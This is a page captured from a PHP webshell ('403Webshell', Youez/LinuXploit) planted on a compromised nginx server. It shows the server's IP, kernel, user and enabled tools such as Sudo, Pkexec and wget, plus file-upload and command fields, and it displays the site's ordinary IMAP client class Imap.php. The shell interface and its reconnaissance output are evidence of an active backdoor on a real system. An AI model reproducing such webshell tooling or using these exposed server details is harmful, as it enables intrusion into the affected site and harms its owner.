403Webshell
Server IP : 103.161.17.216  /  Your IP : 216.73.216.1
Web Server : nginx/1.18.0
System : Linux tipsysaigoncharming 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/app.houseland.info/application/services/imap/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/app.houseland.info/application/services/imap/Imap.php
<?php

namespace app\services\imap;

use Exception;
use app\services\imap\ConnectionErrorException;

class Imap
{
    /**
     * @var string
     */
    protected $host;

    /**
     * @var string
     */
    protected $port;

    /**
     * @var string
     */
    protected $encryption;

    /**
     * @var boolean
     */
    protected $validateCertificate;

    /**
     * @var string
     */
    protected $username;

    /**
     * @var \Ddeboer\Imap\Connection
     */
    protected $connection;
    
    protected $password;

    /**
     * Create new IMAP instance
     */
    public function __construct($username, $password, $host, $encryption, $port = '', $validateCertificate = false)
    {
        $this->host                = $host;
        $this->port                = $port;
        $this->encryption          = strtolower($encryption);
        $this->username            = $username;
        $this->password            = $password;
        $this->validateCertificate = $validateCertificate;
    }

    /**
     * Get the selectable folder names
     *
     * @return array
     */
    public function getSelectableFolders()
    {
        $connection = $this->testConnection();
        $folders    = $connection->getMailboxes();

        foreach ($folders as $key => $folder) {
            if ($folder->getAttributes() & \LATT_NOSELECT) {
                unset($folders[$key]);
            }
        }

        return array_keys(array_map(function ($folder) {
            return $folder->getName();
        }, $folders));
    }

    /**
     * Test the IMAP connection
     *
     * @return \Ddeboer\Imap\Connection
     */
    public function testConnection()
    {
        try {
            return $this->createConnection();
        } catch (Exception $e) {
            throw new ConnectionErrorException($e->getMessage());
        }
    }

    /**
     * Create IMAP connection
     *
     * @return \Ddeboer\Imap\Connection
     */
    public function createConnection()
    {
        if ($this->connection) {
            return $this->connection;
        }

        $server = new Server(
            $this->host,
            $this->port,
            $this->getConnectionFlags()
        );

        return $this->connection = $server->authenticate($this->username, $this->password);
    }

    /**
     * Get full address of mailbox.
     *
     * @return string
     */
    protected function getConnectionFlags()
    {
        $flags = '';

        if ($this->encryption) {
            $flags .= '/imap';
            if (in_array($this->encryption, ['tls', 'notls', 'ssl'])) {
                $flags .= '/' . $this->encryption;
            } elseif ($this->encryption === 'starttls') {
                $flags .= '/tls';
            }

            if (!$this->validateCertificate) {
                $flags .= '/novalidate-cert';
            } else {
                $flags .= '/validate-cert';
            }
        }


        return $flags;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit